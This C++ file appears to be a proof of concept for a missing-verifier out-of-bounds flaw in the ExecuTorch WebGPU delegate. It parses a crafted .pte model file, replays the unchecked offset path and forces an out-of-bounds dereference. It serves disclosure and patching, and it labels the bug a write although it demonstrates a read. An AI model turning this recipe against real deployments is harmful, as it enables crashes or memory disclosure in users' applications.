/* * runtime_poc_webgpu.cpp * * Runtime PoC for the WebGPU delegate missing-verifier OOB. * * Reproduces the exact vulnerable code path from: * WebGPUBackend.cpp:75 — VkGraphBufferHasIdentifier check only; no Verifier * WebGPUGraph.cpp:378 — GetVkGraph(flatbuffer_data) called with NO Verifier * WebGPUGraph.cpp:536-538 — cs.inline_offset = vk_bytes->offset() (no bounds check) * WebGPUGraph.cpp:732-733 — constant_data_ + cs.inline_offset (OOB pointer + deref) * * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed: * flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size); * ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...); * * Build: * clang++ -std=c++17 -g -fsanitize=undefined \ * -I~/executorch_vuln/third-party/flatbuffers/include \ * -I. \ * runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan * * Run: * ./runtime_poc_webgpu_ubsan malformed_webgpu.pte */ #include #include #include #include #include #include #include #include "schemas/vkgraph_generated.h" // ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ---------------- struct WebGPUDelegateHeader { uint32_t header_size; uint32_t flatbuffer_offset; uint32_t flatbuffer_size; uint32_t bytes_offset; uint64_t bytes_size; static WebGPUDelegateHeader parse(const uint8_t* data) { // magic at offset 4 must be "VH00" if (memcmp(data + 4, "VH00", 4) != 0) throw std::runtime_error("WebGPUDelegateHeader: bad magic"); WebGPUDelegateHeader h; uint16_t hs; memcpy(&hs, data + 8, 2); h.header_size = hs; memcpy(&h.flatbuffer_offset, data + 10, 4); memcpy(&h.flatbuffer_size, data + 14, 4); memcpy(&h.bytes_offset, data + 18, 4); memcpy(&h.bytes_size, data + 22, 8); return h; } }; // ---- ConstantSource (mirrors WebGPUGraph.h internals) ----------------------- static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX; struct ConstantSource { uint64_t inline_offset = INLINE_OFFSET_NONE; size_t nbytes = 0; }; // ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) -------- // Manual traversal identical to what we did for MPS. static std::vector extract_delegate_payload( const uint8_t* pte, size_t pte_size) { if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0) throw std::runtime_error("Not a valid ET12 .pte file"); // FlatBuffers root offset uint32_t root_off; memcpy(&root_off, pte, 4); const uint8_t* prog_table = pte + root_off; // Program vtable int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4); const uint8_t* vtable = prog_table - vtable_soff; uint16_t vtable_size; memcpy(&vtable_size, vtable, 2); // Program field order (from program.fbs): // version(0)=4, execution_plan(1)=6, constant_buffer(2)=8, // backend_delegate_data(3)=10 uint16_t bdd_off = 0; if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3 if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data"); const uint8_t* bdd_ptr = prog_table + bdd_off; // bdd_ptr -> offset to vector of BackendDelegateInlineData int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4); const uint8_t* vec = bdd_ptr + vec_rel; uint32_t vec_len; memcpy(&vec_len, vec, 4); if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data"); // First element offset int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4); const uint8_t* elem = vec + 4 + elem_rel; // BackendDelegateInlineData vtable -> field 0 = data (byte vector) int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4); const uint8_t* elem_vt = elem - elem_vt_soff; uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2); uint16_t data_off = 0; if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2); if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData"); const uint8_t* data_ptr = elem + data_off; int32_t data_rel; memcpy(&data_rel, data_ptr, 4); const uint8_t* byte_vec = data_ptr + data_rel; uint32_t byte_len; memcpy(&byte_len, byte_vec, 4); const uint8_t* payload = byte_vec + 4; return std::vector(payload, payload + byte_len); } // ---- elem_size for VkDataType ----------------------------------------------- static size_t vk_datatype_size(int8_t dt) { switch (dt) { case 0: return 1; // BOOL case 1: return 1; // UINT8 case 2: return 1; // INT8 case 3: return 4; // INT32 case 4: return 2; // FLOAT16 case 5: return 4; // FLOAT32 case 6: return 8; // FLOAT64 case 7: return 8; // INT64 default: return 4; } } // ---- Main ------------------------------------------------------------------- int main(int argc, char** argv) { setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered so printfs appear before UBSan stderr printf("==========================================================\n"); printf(" ExecuTorch WebGPU Delegate Runtime PoC\n"); printf(" CVE class : CWE-787 (Out-of-bounds Write)\n"); printf(" Source : backends/webgpu/runtime/WebGPUGraph.cpp\n"); printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n"); printf(" Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13\n"); printf("==========================================================\n\n"); if (argc < 2) { fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]); return 1; } // Load .pte FILE* f = fopen(argv[1], "rb"); if (!f) { perror("fopen"); return 1; } fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f); std::vector pte(fsz); fread(pte.data(), 1, fsz, f); fclose(f); printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4); // Extract WebGPU delegate payload from backend_delegate_data[0] auto payload = extract_delegate_payload(pte.data(), pte.size()); printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size()); // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75) auto hdr = WebGPUDelegateHeader::parse(payload.data()); printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n", hdr.flatbuffer_offset, hdr.flatbuffer_size, hdr.bytes_offset, (unsigned long long)hdr.bytes_size); const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset; const uint8_t* constant_data = payload.data() + hdr.bytes_offset; size_t constant_size = (size_t)hdr.bytes_size; // --- Reproduce WebGPUBackend.cpp:75 --- // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)\n"); bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data); printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false"); // --- Reproduce WebGPUGraph.cpp:378 (inside build()) --- // GetVkGraph() called with NO Verifier — attacker controls the flatbuffer printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier\n"); const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data); printf("[PoC] GetVkGraph returned: %p\n", (void*)graph); // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) --- printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n"); printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n"); const auto* values = graph->values(); const auto* constants = graph->constants(); if (!values || !constants) { fprintf(stderr, "No values/constants in graph\n"); return 1; } printf("[PoC] graph->values()->size() = %u\n", values->size()); printf("[PoC] graph->constants()->size() = %u\n", constants->size()); ConstantSource cs; for (unsigned i = 0; i < values->size(); i++) { const auto* val = values->Get(i); if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue; const auto* vk_tensor = val->value_as_VkTensor(); // Compute nbytes (WebGPUGraph.cpp:483-493) size_t numel = 1; if (vk_tensor->dims()) { for (unsigned j = 0; j < vk_tensor->dims()->size(); j++) numel *= vk_tensor->dims()->Get(j); } size_t elem_size = vk_datatype_size(vk_tensor->datatype()); size_t nbytes = numel * elem_size; printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n", i, numel, elem_size, nbytes); int constant_id = vk_tensor->constant_id(); if (constant_id < 0) continue; printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id); // WebGPUGraph.cpp:527-532 — bounds check on constant_id (present in real code) if (constant_id >= (int)constants->size()) { printf("[PoC] constant_id out of range — would throw\n"); return 1; } // WebGPUGraph.cpp:534 — constants->Get() on unverified flatbuffer const auto* vk_bytes = constants->Get(constant_id); printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id); printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes); cs.nbytes = nbytes; // WebGPUGraph.cpp:537-538 — THE MISSING BOUNDS CHECK printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n"); printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n", (unsigned long long)vk_bytes->offset()); if (vk_bytes->offset() != UINT64_MAX) { cs.inline_offset = vk_bytes->offset(); printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx (NO bounds check vs constant_data size)\n", (unsigned long long)cs.inline_offset); printf("[PoC] constant_data section is %zu bytes — offset 0x%llx is WAY past it\n", constant_size, (unsigned long long)cs.inline_offset); } } // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) --- printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n"); printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n"); printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n"); printf("[PoC] constant_data_ + cs.inline_offset, cs.nbytes)\n"); printf("[PoC] constant_data_ = %p\n", (void*)constant_data); printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset); printf("[PoC] cs.nbytes = %zu\n", cs.nbytes); printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n", (unsigned long long)cs.inline_offset, (unsigned long long)cs.inline_offset - constant_size, constant_size); printf("[PoC] Executing OOB pointer arithmetic now...\n"); // Exact expression from WebGPUGraph.cpp:733: // wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes) // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes). // UBSan catches OOB pointer arithmetic first; then SEGV on dereference. const uint8_t* oob_ptr = constant_data + cs.inline_offset; printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n", (void*)oob_ptr, (unsigned long long)cs.inline_offset); // Force a dereference — this is what wgpuQueueWriteBuffer does internally // when it reads the source buffer to upload to the GPU. volatile uint8_t byte = *oob_ptr; (void)byte; printf("[PoC] SHOULD NOT REACH HERE\n"); return 0; }